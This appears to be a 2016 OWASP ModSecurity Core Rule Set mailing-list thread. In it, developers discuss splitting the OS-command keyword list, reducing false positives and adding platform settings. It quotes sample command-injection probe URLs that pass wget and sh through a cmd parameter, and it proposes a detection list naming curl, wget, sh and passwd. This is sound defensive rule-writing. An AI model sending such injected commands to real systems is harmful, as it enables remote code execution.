For the record I think this is a good idea but perhaps outside the scope a bit of the initial RC release. Christian, I suggest we add this to the To-do for 3.1. Thoughts?
On 2/12/16, 4:17 PM, "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of christian.fol...@netnea.com> wrote: >Hi there, > >There has not been any additional feedback in this thread, but I think >the question is not settled as of this writing. > >Thoughts? > >Regs, > >Christian > >On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: >> Hi there, >> >> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: >> > I like the idea of splitting the file. >> >> Cool. >> >> > I agree some of the words in os-commands.data seem rather paranoid. >>Words like "choice", "help", "now² seem of low value and are common in >>natural text. Also, the large number of Unix-only environments could >>skip Windows related commands. It¹s hard for users to modify these lists >>as you¹d have to hack the CRS, and these huge collections are to >>maintain anyhow, so I agree we need granularity. >> >> Good point. >> >> > The rule has some regexp magic to prevent false positives, but the >>balance is not a complete success in my opinion. For instance, the >>following URLs don't trigger in CRSv3: >> > http://vuln/?cmd=wget%20http://example.com/blah.txt >> > http://vuln/?cmd=sh%20blah.txt >> > >> > So it's not as strong as you would want either to prevent some common >>RCE. >> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo >>does trigger it. >> >> I see. Good observations. >> >> > 1) I think that a user should check their desired platforms in the >>setup conf. In fact, this would be great to do anyway in the initial >>3.0.0 release even if we DON'T look at it in any rule yet. Specifying >>platform types will pave the way for reducing false positives and false >>negatives by skipping unnecessary checks and being more strict on the >>right platforms. So we could start by listing these platforms in the >>existing rule in the setup conf. Example: >> > >> > SecAction \ >> > "id:'900024', \ >> > phase:1, \ >> > t:none, \ >> > setvar:tx.unix=1, \ >> > setvar:tx.windows=1, \ >> > setvar:tx.java=1, \ >> > setvar:tx.php=1, \ >> >> That makes a lot of sense. At first sight. >> >> I think that a default install should come with these rulesets >> all enabled and a sysadmin can then switch them of if we is aware that >> there is no php in his service. >> >> So given the following two scenarios >> #1 - Newbie sysadmin installs ModSec and runs into a lot of false >>positives >> because he does not disable unneeded rulesets >> #2 - Newbie sysadmin installs ModSec and is p0wned because he does not >>enable >> the php protection >> I strongly favour #1. >> >> A vanilla install of the core rules should give you a full coverage for >>all >> types of services and a decent security level. Reducing false positives >>by >> omitting certain rules (ideally rules which provide no value for your >>setup) >> is the very idea of tuning. >> Reducing the initial number of false positives by moving certain rules >> with a worse relationsship between added security and false positives, >> that is the idea of the paranoia mode. >> >> Chaim stated in a different message, that the rules are now organised >> into files aimed at certain environments. So switching them off is >> fairly easy. And there are the tags on top of it. >> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will >> disable them all very easily. >> >> So I think, we do not need these variables. >> >> > (By the way: I think it¹s unfortunate that a user has to use value 1 >>to enable a check. An undefined variable will mean that the CRS will >>skip some rules. This makes it dangerous to introduce a new variable in >>the CRS later; all existing installations MUST then add this variable to >>their setup rule immediately, or suffer from reduced security. It¹s >>better to use a scheme that defaults to ³on². A convention like >>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we >>could check for an explicit ³off² string, e.g. ³setvar:tx.mysql=off². If >>it¹s not ³off² then assume that the user DOES want the check. I think >>it¹s important to get this right in 3.0.0, it will be more painful to do >>it later.) >> >> That's a very good observation. I had a similar idea once. >> >> In programming, you usually start with a default value and then >> the users overrides the default value. If he wants to. >> >> I am not sure how modsecurity_crs_10_setup.conf.example is going to >> be transformed to work seamlessly with 3.0. But this makes the >> setting of default values a bit tricky. >> >> Maybe a file REQUEST-02-DEFAULTS.conf could set default values >> if certain variables are not set. >> >> > 2) Separate the words into multiple lists: >> > os-commands-critical.data (absolute red flag list: "curl", "passwd", >>"sh", "uname", "wget" etc.) >> > os-commands-paranoid.data (absolute low value, but high FP natural >>words like "choice") >> > os-commands-windows.data (all Windows commands) >> > os-commands-common.data (all other commands) >> >> Makes some sense. Too granular is difficult and you mix various >> grouping criteria (criticality, paranoia, os), which makes is a >> bit hard to follow. >> >> Other opinions? >> >> > 3) Review the current regexp against some test data and CRSv2 to make >>it more sensitive >> >> Good plan. Maybe this could be done in a separate pull request. >> I am afraid to overload the paranoia mode pull request... >> >> Ahoj, >> >> Christian >> >> >> -- >> In war you will generally find that the enemy has at any time >> three courses of action open to him. Of those three, he will >> invariably choose the fourth. >> -- Helmuth Von Moltke >> _______________________________________________ >> Owasp-modsecurity-core-rule-set mailing list >> Owasp-modsecurity-core-rule-set@lists.owasp.org >> >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOIn >>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f >>owasp-modsecurity-core-rule-set > >-- >mailto:christian.fol...@netnea.com >http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu >N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech >twitter: @ChrFolini >_______________________________________________ >Owasp-modsecurity-core-rule-set mailing list >Owasp-modsecurity-core-rule-set@lists.owasp.org >http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu >YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow >asp-modsecurity-core-rule-set ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
